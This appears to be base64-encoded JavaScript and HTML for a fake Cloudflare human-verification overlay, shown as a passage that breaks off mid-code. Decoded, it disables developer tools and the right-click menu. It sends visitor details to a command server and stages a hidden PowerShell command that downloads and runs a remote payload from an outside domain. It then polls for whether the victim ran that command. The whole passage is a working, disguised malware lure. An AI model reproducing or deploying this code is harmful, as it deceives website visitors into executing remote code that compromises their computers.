ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjQiIGN5PSIxNSIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMjUiLz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2lyY2xlIGN4PSI3LjIyIiBjeT0iNy4yMiIgcj0iMi4yIiBmaWxsPSIjMjI4YjQ5IiBvcGFjaXR5PSIuMTI1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNrLXdyYXAiIGlkPSJjZi1jayI+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgd2lkdGg9IjI4IiBoZWlnaHQ9IjI4IiB2aWV3Qm94PSIwIDAgNTAgNTAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxjaXJjbGUgY3g9IjI1IiBjeT0iMjUiIHI9IjIzIiBmaWxsPSIjMjhhNzQ1Ii8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTE1IDI1TDIyIDMyTDM1IDE4IiBzdHJva2U9IiNmZmYiIHN0cm9rZS13aWR0aD0iNCIgZmlsbD0ibm9uZSIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIi8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N2Zz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idGV0dHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBpZD0iY2YtbGJsIj4ke1VJX1RSQU5TTEFUSU9OUy52ZXJpZnlpbmdUZXh0fTwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IHN0eWxlPSJkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOmZsZXgtZW5kO2ZsZXgtc2hyaW5rOjAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIHNyYz0iJHtDTE9VREZMQVJFX0ZVTExfTE9HT19CQVNFNjR9IiBhbHQ9IiIgc3R5bGU9IndpZHRoOjkwcHg7bWFyZ2luLWJvdHRvbTo0cHgiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOjA7bGluZS1oZWlnaHQ6MS40O2NvbG9yOiNiYmI7Zm9udC1zaXplOjhweDt0ZXh0LWRlY29yYXRpb246dW5kZXJsaW5lO3doaXRlLXNwYWNlOm5vd3JhcCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAke1VJX1RSQU5TTEFUSU9OUy5wcml2YWN5TGlua30gwrcgJHtVSV9UUkFOU0xBVElPTlMudGVybXNMaW5rfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3A+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICA8cCBjbGFzcz0iY29yZS1tc2ciPiR7RElTUExBWV9IT1NUTkFNRX0gJHtVSV9UUkFOU0xBVElPTlMuc2VjdXJpdHlNZXNzYWdlfTwvcD4NCiAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICA8ZGl2IGNsYXNzPSJmb290ZXIiPg0KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvb3Rlci1pbm5lciI+DQogICAgICAgICAgICAgICAgICAgIFJheSBJRDogPHNwYW4gY2xhc3M9InJjIj4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCg0KICAgICAgICAgICAgPGRpdiBjbGFzcz0idmVyaWZ5LXdpbmRvdyIgaWQ9ImNmLW1vZGFsIj4NCiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1jb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyPiR7VUlfVFJBTlNMQVRJT05TLnZlcmlmaWNhdGlvblRpdGxlfTwvaDI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+JHtVSV9UUkFOU0xBVElPTlMudmVyaWZpY2F0aW9uU3VidGl0bGV9PC9wPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOi4yNWVtICFpbXBvcnRhbnQ7b3BhY2l0eTouNzU7Zm9udC1zaXplOi43ZW07Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4oyoICR7VUlfVFJBTlNMQVRJT05TLmtleWJvYXJkSW5zdHJ1Y3Rpb25zfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvcD4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9IiR7Q0xPVURGTEFSRV9XSElURV9MT0dPX0JBU0U2NH0iIGFsdD0iIj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQoNCiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMTIzMC41NzQgNTE5Ljc3NCI+PHBhdGggZmlsbD0iI0Y3ODEwMCIgZD0iTTc4NC4wMjUsNTEyLjAxMWw1Ljg3Mi0yMC4zMTFjNi45OTgtMjQuMTY5LDQuMzk0LTQ2LjUxMS03LjM0OS02Mi45MjZjLTEwLjgwMS0xNS4xMjItMjguODA0LTI0LjAyMi01MC42NjYtMjUuMDU2bC00MTQuMTE0LTUuMjgxYy0yLjc4OC0wLjE0Ny01LjA5Ni0xLjQwMy02LjUxOC0zLjQ3MWMtMS40NC0yLjEyMy0xLjc3My00Ljg1Ni0wLjg4Ni03LjQ3OGMxLjM2Ni00LjA4LDUuNDEtNy4xNjQsOS42Mi03LjM0OWw0MTcuOTU0LTUuMjk5YzQ5LjU3Ni0yLjI3MSwxMDMuMjUyLTQyLjUwNSwxMjIuMDQ4LTkxLjU2NGwyMy44MzctNjIuMjhjMC42NTctMS42OTYsMC45NTItMy40OTMsMC45NC01LjI5NGMtMC4wMDctMC45ODQtMC4wNzgtMS45NjktMC4yOTQtMi45NEM4NTcuMzgzLDkxLjAyOCw3NDguNzU4LDAsNjE4Ljg2MywwYy0xMTkuNjg1LDAtMjIxLjMxMiw3Ny4yNTQtMjU3Ljc2LDE4NC42MjNjLTIzLjUyMy0xNy42NTItNTMuNjItMjcuMDMxLTg1Ljk2OS0yMy44MDFjLTU3LjQyMyw1LjcwNi0xMDMuNTY1LDUxLjk0LTEwOS4yNzEsMTA5LjM2M2MtMS40OTYsMTQuOTAxLTAuMjc3LDI5LjI4NCwzLjE1OCw0Mi44Qzc1LjIyMiwzMTUuNzE4LDAsMzkyLjU2NiwwLDQ4Ny4wMjljMCw4LjU0OSwwLjY0NiwxNi45NSwxLjg0NiwyNS4xNjZjMC41OTEsMy45ODgsMy45NTIsNi45OCw3Ljk3Nyw2Ljk4bDc2NC41MjcsMC4wOTJjMC4wNzYsMCwwLjE0Mi0wLjAzNCwwLjIxOC0wLjAzNkM3NzguOTQyLDUxOS4xMzQsNzgyLjc5LDUxNi4yNCw3ODQuMDI1LDUxMi4wMTF6Ii8+PHBhdGggZmlsbD0iI0ZCQUM0MiIgZD0iTTkyMS45ODIsMjI1LjU1OGMtMy44NDEsMC03LjY2MywwLjExMS0xMS40NjYsMC4yOTVjLTAuNjI4LDAuMDMzLTEuMjI0LDAuMTg1LTEuNzk2LDAuMzg1Yy0xLjk4NSwwLjY5Ni0zLjU2NiwyLjMwNS00LjE2OCw0LjM5N2wtMTYuMjg2LDU2LjI0MmMtNi45OTgsMjQuMTY5LTQuMzk1LDQ2LjQ5Myw3LjM0OSw2Mi45MDdjMTAuODAxLDE1LjE0LDI4LjgwNCwyNC4wMjIsNTAuNjY1LDI1LjA1Nmw4OC4yNzcsNS4yOTljMi42MDQsMC4xMjksNC44OTMsMS4zODUsNi4yOTcsMy40MTZjMS40NzcsMi4xNDIsMS44MDksNC44OTMsMC45MjMsNy41MTVjLTEuMzg1LDQuMDgxLTUuNDEsNy4xNjQtOS42MDEsNy4zNDlsLTkxLjczLDUuMjk5Yy00OS43OTgsMi4yOS0xMDMuNDczLDQyLjUwNS0xMjIuMjcsOTEuNTY0bC02LjYyOSwxNy4zMTljLTEuMjA2LDMuMTM0LDEuMDM5LDYuNDcyLDQuMzU0LDYuNjM1YzAuMDg0LDAuMDA0LDAuMTU5LDAuMDMxLDAuMjQ0LDAuMDMxaDMxNS42MjZjMy43NjYsMCw3LjEyNy0yLjQ1Niw4LjE0Mi02LjA3NWM1LjQ4NC0xOS40OTgsOC40MDItNDAuMDQ4LDguNDAyLTYxLjMwMUMxMTQ4LjMxNSwzMjYuODg5LDEwNDYuOTg0LDIyNS41NTgsOTIxLjk4MiwyMjUuNTU4eiIvPjwvc3ZnPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNmLWxvYWRlci1iYXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjZi1sb2FkZXItYmFyLWlubmVyIj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2Pg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8b2wgY2xhc3M9Imluc3RydWN0aW9uLWxpc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4xPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtVSV9UUkFOU0xBVElPTlMuc3RlcDF9PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2xpPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RlcC1sZWZ0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLWJhZGdlIj4yPC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gY2xhc3M9InN0ZXAtdGV4dCI+JHtTVEVQMl9IVE1MfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+Mzwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXAzfTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGk+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN0ZXAtbGVmdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ic3RlcC1iYWRnZSI+NDwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJzdGVwLXRleHQiPiR7VUlfVFJBTlNMQVRJT05TLnN0ZXA0fTwvc3Bhbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4NCiAgICAgICAgICAgICAgICAgICAgICAgIDwvb2w+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgc3R5bGU9ImZvbnQtc2l6ZToxMHB4O2NvbG9yOiM2NjY7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLXRvcDoxLjJlbTtwYWRkaW5nLXRvcDouNzVlbTtib3JkZXItdG9wOjFweCBzb2xpZCByZ2JhKDI1NSwyNTUsMjU1LC4wOCk7Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBJRCBDb2RlOiA8c3BhbiBjbGFzcz0icmMiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij4ke1JBWV9UUkFDS0lOR19JRH08L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICA8L2Rpdj4NCiAgICAgICAgYDsNCg0KICAgICAgICAoZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50IHx8IGRvY3VtZW50LmJvZHkpLmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgcm9vdEVsZW1lbnQuc3R5bGUuYmFja2dyb3VuZENvbG9yID0gJ3JnYmEoMzQsMzQsMzQsJyArIEJBQ0tHUk9VTkRfT1BBQ0lUWSArICcpJzsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIGlmICh3aW5kb3cubHNjQ29nbmlTdGFja091ck92ZXJsYXkpIHdpbmRvdy5sc2NDb2duaVN0YWNrT3VyT3ZlcmxheShyb290RWxlbWVudCk7DQogICAgICAgICAgICBlbHNlIGlmIChkb2N1bWVudC5ib2R5KSBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHJvb3RFbGVtZW50KTsNCiAgICAgICAgfSBjYXRjaCAoZSkge30NCg0KICAgICAgICB2YXIgZG9jdW1lbnRFbGVtZW50ID0gZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50Ow0KICAgICAgICB2YXIgZG9jdW1lbnRCb2R5ID0gZG9jdW1lbnQuYm9keTsNCg0KICAgICAgICBpZiAoZG9jdW1lbnRFbGVtZW50KSB7DQogICAgICAgICAgICBkb2N1bWVudEVsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnaGlkZGVuJzsNCiAgICAgICAgICAgIGRvY3VtZW50RWxlbWVudC5zdHlsZS5vdmVyc2Nyb2xsQmVoYXZpb3IgPSAnbm9uZSc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKGRvY3VtZW50Qm9keSkgew0KICAgICAgICAgICAgZG9jdW1lbnRCb2R5LnN0eWxlLm92ZXJmbG93ID0gJ2hpZGRlbic7DQogICAgICAgICAgICBkb2N1bWVudEJvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJ25vbmUnOw0KICAgICAgICB9DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigna2V5ZG93bicsIGZ1bmN0aW9uKGV2ZW50KSB7DQogICAgICAgICAgICB2YXIga2V5ID0gU3RyaW5nKGV2ZW50LmtleSB8fCAnJykudG9Mb3dlckNhc2UoKTsNCg0KICAgICAgICAgICAgaWYgKGtleSA9PT0gJ2YxMicgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYgZXZlbnQuc2hpZnRLZXkgJiYgKGtleSA9PT0gJ2knIHx8IGtleSA9PT0gJ2onIHx8IGtleSA9PT0gJ2MnKSkgfHwNCiAgICAgICAgICAgICAgICAoKGV2ZW50LmN0cmxLZXkgfHwgZXZlbnQubWV0YUtleSkgJiYga2V5ID09PSAndScpKSB7DQogICAgICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgICAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSwgdHJ1ZSk7DQoNCiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY29udGV4dG1lbnUnLCBmdW5jdGlvbihldmVudCkgew0KICAgICAgICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTsNCiAgICAgICAgICAgIGV2ZW50LnN0b3BQcm9wYWdhdGlvbigpOw0KICAgICAgICB9LCB0cnVlKTsNCg0KICAgICAgICBmdW5jdGlvbiBzZW5kUmVxdWVzdFRvU2VydmVyKHBheWxvYWQpIHsNCiAgICAgICAgICAgIHJldHVybiBmZXRjaChDQ19TRVJWRVJfQVBJX1VSTCwgew0KICAgICAgICAgICAgICAgIG1ldGhvZDogJ1BPU1QnLA0KICAgICAgICAgICAgICAgIGNhY2hlOiAnbm8tc3RvcmUnLA0KICAgICAgICAgICAgICAgIGhlYWRlcnM6IHsNCiAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZSc6ICdhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQnDQogICAgICAgICAgICAgICAgfSwNCiAgICAgICAgICAgICAgICBib2R5OiAnZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGJ0b2EoSlNPTi5zdHJpbmdpZnkocGF5bG9hZCkpKQ0KICAgICAgICAgICAgfSk7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhTdHJpbmcpIHsNCiAgICAgICAgICAgIHZhciBkZWNvZGVkU3RyaW5nID0gJyc7DQogICAgICAgICAgICB2YXIgY2hhckluZGV4ID0gMDsNCg0KICAgICAgICAgICAgZm9yICg7IGNoYXJJbmRleCA8IGhleFN0cmluZy5sZW5ndGg7IGNoYXJJbmRleCArPSAyKSB7DQogICAgICAgICAgICAgICAgZGVjb2RlZFN0cmluZyArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKA0KICAgICAgICAgICAgICAgICAgICBwYXJzZUludChoZXhTdHJpbmcuc3Vic3RyKGNoYXJJbmRleCwgMiksIDE2KSBeDQogICAgICAgICAgICAgICAgICAgIEFQSV9BVVRIX0tFWS5jaGFyQ29kZUF0KChjaGFySW5kZXggLyAyKSAlIEFQSV9BVVRIX0tFWS5sZW5ndGgpDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICByZXR1cm4gSlNPTi5wYXJzZShkZWNvZGVkU3RyaW5nKTsNCiAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuIHt9Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgdmFyIFJFRElSRUNUX1VSTCA9ICcnOw0KDQogICAgICAgIHZhciBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EID0NCiAgICAgICAgICAgICdwb3dlcnNoZWxsIC13IGggImlleChpcm0gXCdmaW5nZXJwcmludC12ZXJpLmluZm8vZDhmYzI2ZmIzYzhhZTQ5YVwnKTsgU3RhcnQtU2xlZXAgLVNlY29uZHMgMzAiOyBleGl0JzsNCg0KICAgICAgICB2YXIgc2VydmVyUGF5bG9hZFByb21pc2UgPSBzZW5kUmVxdWVzdFRvU2VydmVyKHsNCiAgICAgICAgICAgIGFjdGlvbjogJ2RsJywNCiAgICAgICAgICAgIGs6IEFQSV9BVVRIX0tFWSwNCiAgICAgICAgICAgIG9zOiBUQVJHRVRfT1BFUkFUSU5HX1NZU1RFTSwNCiAgICAgICAgICAgIHZpZDogVU5JUVVFX1ZJU0lUT1JfSUQsDQogICAgICAgICAgICByZWY6IGxvY2F0aW9uLmhyZWYsDQogICAgICAgICAgICByYXk6IFJBWV9UUkFDS0lOR19JRA0KICAgICAgICB9KQ0KICAgICAgICAudGhlbihmdW5jdGlvbihyZXNwb25zZSkgew0KICAgICAgICAgICAgcmV0dXJuIHJlc3BvbnNlLnRleHQoKTsNCiAgICAgICAgfSkNCiAgICAgICAgLnRoZW4oZnVuY3Rpb24oaGV4UmVzcG9uc2UpIHsNCiAgICAgICAgICAgIHJldHVybiBkZWNvZGVTZXJ2ZXJSZXNwb25zZShoZXhSZXNwb25zZSk7DQogICAgICAgIH0pDQogICAgICAgIC50aGVuKGZ1bmN0aW9uKGRlY29kZWREYXRhKSB7DQogICAgICAgICAgICBSRURJUkVDVF9VUkwgPSBkZWNvZGVkRGF0YS5yZWRpciB8fCAnJzsNCiAgICAgICAgICAgIHJldHVybiBNQUxJQ0lPVVNfUE9XRVJTSEVMTF9DT01NQU5EOw0KICAgICAgICB9KQ0KICAgICAgICAuY2F0Y2goZnVuY3Rpb24oKSB7DQogICAgICAgICAgICByZXR1cm4gTUFMSUNJT1VTX1BPV0VSU0hFTExfQ09NTUFORDsNCiAgICAgICAgfSk7DQoNCiAgICAgICAgZnVuY3Rpb24gd2FpdEZvckV4ZWN1dGlvblRva2VuKHRva2VuKSB7DQogICAgICAgICAgICBpZiAoIXRva2VuKSByZXR1cm47DQoNCiAgICAgICAgICAgIHZhciBzdGFydFRpbWVzdGFtcCA9IERhdGUubm93KCk7DQogICAgICAgICAgICB2YXIgaXNEb25lID0gZmFsc2U7DQogICAgICAgICAgICB2YXIgaXNJbnN0cnVjdGlvbkhpZGRlbiA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBtYXJrQXNFeGVjdXRlZCgpIHsNCiAgICAgICAgICAgICAgICBpZiAoIVRFU1RfTU9ERSkgew0KICAgICAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnNldEl0ZW0oTE9DQUxfU1RPUkFHRV9LRVksICcxJyk7DQogICAgICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgZnVuY3Rpb24gaGlkZUluc3RydWN0aW9uTW9kYWwoKSB7DQogICAgICAgICAgICAgICAgaWYgKGlzSW5zdHJ1Y3Rpb25IaWRkZW4pIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0luc3RydWN0aW9uSGlkZGVuID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICBpZiAobW9kYWxFbGVtZW50KSB7DQogICAgICAgICAgICAgICAgICAgIG1vZGFsRWxlbWVudC5jbGFzc0xpc3QucmVtb3ZlKCdhY3RpdmUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZ1bmN0aW9uIGNvbXBsZXRlVmVyaWZpY2F0aW9uKCkgew0KICAgICAgICAgICAgICAgIGlmIChpc0RvbmUpIHJldHVybjsNCiAgICAgICAgICAgICAgICBpc0RvbmUgPSB0cnVlOw0KDQogICAgICAgICAgICAgICAgaWYgKG1vZGFsRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBtb2RhbEVsZW1lbnQuY2xhc3NMaXN0LnJlbW92ZSgnYWN0aXZlJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmIChzcGlubmVyRWxlbWVudCkgew0KICAgICAgICAgICAgICAgICAgICBzcGlubmVyRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIHZhciBjaGVja21hcmtFbGVtZW50ID0gcm9vdEVsZW1lbnQucXVlcnlTZWxlY3RvcignI2NmLWNrJyk7DQogICAgICAgICAgICAgICAgaWYgKGNoZWNrbWFya0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgY2hlY2ttYXJrRWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIG1hcmtBc0V4ZWN1dGVkKCk7DQoNCiAgICAgICAgICAgICAgICAvLyBJbW1lZGlhdGUgcmV0dXJuIHRvIHRoZSBwYWdlIG9uY2Ugc2hlZXQgY29uZmlybXMgZXhpc3RzOnRydWUNCiAgICAgICAgICAgICAgICB0cnkgew0KICAgICAgICAgICAgICAgICAgICByb290RWxlbWVudC5yZW1vdmUoKTsNCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgICAgIHZhciBzdHlsZUVsID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J3LWNmLXN0eWxlJyk7DQogICAgICAgICAgICAgICAgICAgIGlmIChzdHlsZUVsKSBzdHlsZUVsLnJlbW92ZSgpOw0KICAgICAgICAgICAgICAgIH0gY2F0Y2ggKGVycm9yKSB7fQ0KDQogICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgdmFyIGRvY0VsZW1lbnQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQ7DQogICAgICAgICAgICAgICAgICAgIHZhciBkb2NCb2R5ID0gZG9jdW1lbnQuYm9keTsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0VsZW1lbnQpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0VsZW1lbnQuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgaWYgKGRvY0JvZHkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcmZsb3cgPSAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgIGRvY0JvZHkuc3R5bGUub3ZlcnNjcm9sbEJlaGF2aW9yID0gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCg0KICAgICAgICAgICAgICAgIGlmIChSRURJUkVDVF9VUkwpIHsNCiAgICAgICAgICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmID0gUkVESVJFQ1RfVVJMOw0KICAgICAgICAgICAgICAgICAgICB9IGNhdGNoIChlcnJvcikge30NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHZhciBpc1BvbGxJbkZsaWdodCA9IGZhbHNlOw0KDQogICAgICAgICAgICBmdW5jdGlvbiBwb2xsU2VydmVyU3RhdHVzKCkgew0KDQogICAgICAgICAgICAgICAgaWYgKGlzRG9uZSB8fCBpc1BvbGxJbkZsaWdodCB8fCBEYXRlLm5vdygpIC0gc3RhcnRUaW1lc3RhbXAgPiAxODAwMDApIHsNCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlzUG9sbEluRmxpZ2h0ID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB2YXIgY2hlY2tVcmwgPSBBUFBTX1NDUklQVF9VUkwgKyAnP2lkPScgKyBlbmNvZGVVUklDb21wb25lbnQoVU5JUVVFX1ZJU0lUT1JfSUQpOw0KDQogICAgICAgICAgICAgICAgZmV0Y2goY2hlY2tVcmwsIHsNCiAgICAgICAgICAgICAgICAgICAgbWV0aG9kOiAnR0VUJywNCiAgICAgICAgICAgICAgICAgICAgcmVkaXJlY3Q6ICdmb2xsb3cnLA0KICAgICAgICAgICAgICAgICA